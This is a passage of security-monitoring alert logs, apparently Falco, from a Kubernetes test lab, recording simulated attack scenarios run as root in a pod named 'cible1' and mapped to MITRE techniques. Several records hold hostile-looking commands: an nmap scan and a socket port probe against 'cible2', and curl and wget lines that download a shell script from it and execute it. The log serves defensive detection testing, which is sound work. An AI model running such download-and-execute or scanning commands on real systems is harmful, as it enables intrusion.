exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204704967222155,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps aux","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1270245816496,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:44.967222155Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:44.967222155+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)","output_fields":{"evt.time.iso8601":1794204704967222155,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps"},"priority":"Warning","rule":"PR10 Response Trigger PB1 Process Discovery","source":"syscall","tags":["T1057","mitre","pb1","pr10_response"],"time":"2026-11-09T06:11:44.967222155Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:51.547565344+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204711547565344,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:51.547565344Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:51.547565344+0000: Warning PR10 ROUTE S07 PB1 (pod=cible1 namespace=default scenario=S07 commande=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40)","output_fields":{"evt.time.iso8601":1794204711547565344,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S07 PB1","source":"syscall","tags":["T1083","mitre","pb1","pr10_route","scenario_s07"],"time":"2026-11-09T06:11:51.547565344Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204718049629471,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:58.049629471Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204718049629471,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:11:58.049629471Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:58.049629471+0000: Warning PR10 ROUTE S08 PB1 (pod=cible1 namespace=default scenario=S08 commande=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery)","output_fields":{"evt.time.iso8601":1794204718049629471,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S08 PB1","source":"syscall","tags":["T1083","mitre","pb1","pr10_route","scenario_s08"],"time":"2026-11-09T06:11:58.049629471Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:58.049629471+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery process=sh parent= container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204718049629471,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery","proc.name":"sh","proc.pname":null,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:11:58.049629471Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:04.544812939+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204724544812939,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:04.544812939Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:04.544812939+0000: Warning PR10 ROUTE S09 PB1 (pod=cible1 namespace=default scenario=S09 commande=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null)","output_fields":{"evt.time.iso8601":1794204724544812939,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S09 PB1","source":"syscall","tags":["T1083","mitre","pb1","pr10_route","scenario_s09"],"time":"2026-11-09T06:12:04.544812939Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204731027529036,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2","proc.name":"sh","proc.pname":"runc","user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:11.027529036Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:11.027529036+0000: Warning PR10 ROUTE S10 PB1 (pod=cible1 namespace=default scenario=S10 commande=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2)","output_fields":{"evt.time.iso8601":1794204731027529036,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S10 PB1","source":"syscall","tags":["T1046","mitre","pb1","pr10_route","scenario_s10"],"time":"2026-11-09T06:12:11.027529036Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204731032253238,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"nmap -Pn -sV --version-light -p 80,443,8080 cible2","proc.name":"nmap","user.name":"root"},"priority":"Warning","rule":"Custom T1046 Network Service Discovery","source":"syscall","tags":["T1046","custom","mitre"],"time":"2026-11-09T06:12:11.032253238Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:11.032253238+0000: Critical Executing binary not part of base image | proc_exe=nmap proc_sname=sh gparent=runc proc_exe_ino_ctime=1794203435595944653 proc_exe_ino_mtime=1743184838000000000 proc_exe_ino_ctime_duration_proc_start=1295435933237 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204731032253238,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":"runc","proc.cmdline":"nmap -Pn -sV --version-light -p 80,443,8080 cible2","proc.cwd":"/","proc.exe":"nmap","proc.exe_ino.ctime":1794203435595944653,"proc.exe_ino.ctime_duration_proc_start":1295435933237,"proc.exe_ino.mtime":1743184838000000000,"proc.exepath":"/usr/bin/nmap","proc.name":"nmap","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:12:11.032253238Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:11.277594606+0000: Notice Packet socket was created in a container | socket_info=fd=5() domain=17(AF_PACKET) type=3 proto=0 flags=0(O_NONE) connection= lport= rport= fd_type= fd_proto= evt_type=socket user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0","output_fields":{"evt.args":"fd=5() domain=17(AF_PACKET) type=3 proto=0 flags=0(O_NONE)","evt.time.iso8601":1794204731277594606,"evt.type":"socket","fd.l4proto":"","fd.lport":null,"fd.name":"","fd.rport":null,"fd.type":"","k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"nmap -Pn -sV --version-light -p 80,443,8080 cible2","proc.exepath":"/usr/bin/nmap","proc.name":"nmap","proc.pname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Notice","rule":"Packet socket created in container","source":"syscall","tags":["T1557.002","container","maturity_stable","mitre_credential_access","network"],"time":"2026-11-09T06:12:11.277594606Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:25.126186139+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S11; python3 -c \"import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]\" parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204745126186139,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S11; python3 -c \"import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]\"","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:25.126186139Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:25.126186139+0000: Warning PR10 ROUTE S11 PB1 (pod=cible1 namespace=default scenario=S11 commande=sh -c PR10_SCENARIO=S11; python3 -c \"import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]\")","output_fields":{"evt.time.iso8601":1794204745126186139,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S11; python3 -c \"import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]\"","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S11 PB1","source":"syscall","tags":["T1046","mitre","pb1","pr10_route","scenario_s11"],"time":"2026-11-09T06:12:25.126186139Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:25.128024984+0000: Critical Executing binary not part of base image | proc_exe=python3 proc_sname=sh gparent= proc_exe_ino_ctime=1794203431370924062 proc_exe_ino_mtime=1786363619000000000 proc_exe_ino_ctime_duration_proc_start=1313756074362 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.13 parent=sh command=python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports] terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204745128024984,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]","proc.cwd":"/","proc.exe":"python3","proc.exe_ino.ctime":1794203431370924062,"proc.exe_ino.ctime_duration_proc_start":1313756074362,"proc.exe_ino.mtime":1786363619000000000,"proc.exepath":"/usr/bin/python3.13","proc.name":"python3","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:12:25.128024984Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753689017766,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:33.689017766Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent= container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753689017766,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:33.689017766Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.689017766+0000: Warning PR10 ROUTE S12 PB2 (pod=cible1 namespace=default scenario=S12 commande=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh)","output_fields":{"evt.time.iso8601":1794204753689017766,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S12 PB2","source":"syscall","tags":["T1105","mitre","pb2","pr10_route","scenario_s12"],"time":"2026-11-09T06:12:33.689017766Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.689017766+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh process=sh parent= container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753689017766,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":null,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:33.689017766Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.693279286+0000: Warning CUSTOM T1105 - Transfert suspect d’un outil (user=root command=curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753693279286,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh","proc.name":"curl","user.name":"root"},"priority":"Warning","rule":"Custom T1105 Suspicious Tool Transfer","source":"syscall","tags":["T1105","custom","mitre"],"time":"2026-11-09T06:12:33.693279286Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.749030037+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh /tmp/manual-curl-tool.sh parent=sh container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753749030037,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:33.749030037Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.749030037+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh /tmp/manual-curl-tool.sh parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753749030037,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":"sh","user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:33.749030037Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:33.749030037+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh /tmp/manual-curl-tool.sh process=sh parent=sh container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204753749030037,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh /tmp/manual-curl-tool.sh","proc.name":"sh","proc.pname":"sh","user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:12:33.749030037Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760236922455,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:12:40.236922455Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent= container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204760236922455,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:12:40.236922455Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:12:40.236922455+0000: Warning PR10 ROUTE S13 PB2 (pod=cible1 namespace=default scenario=S13 commande=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh)","output_fields":{"evt.time.iso8601":1794204760236922455,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S13 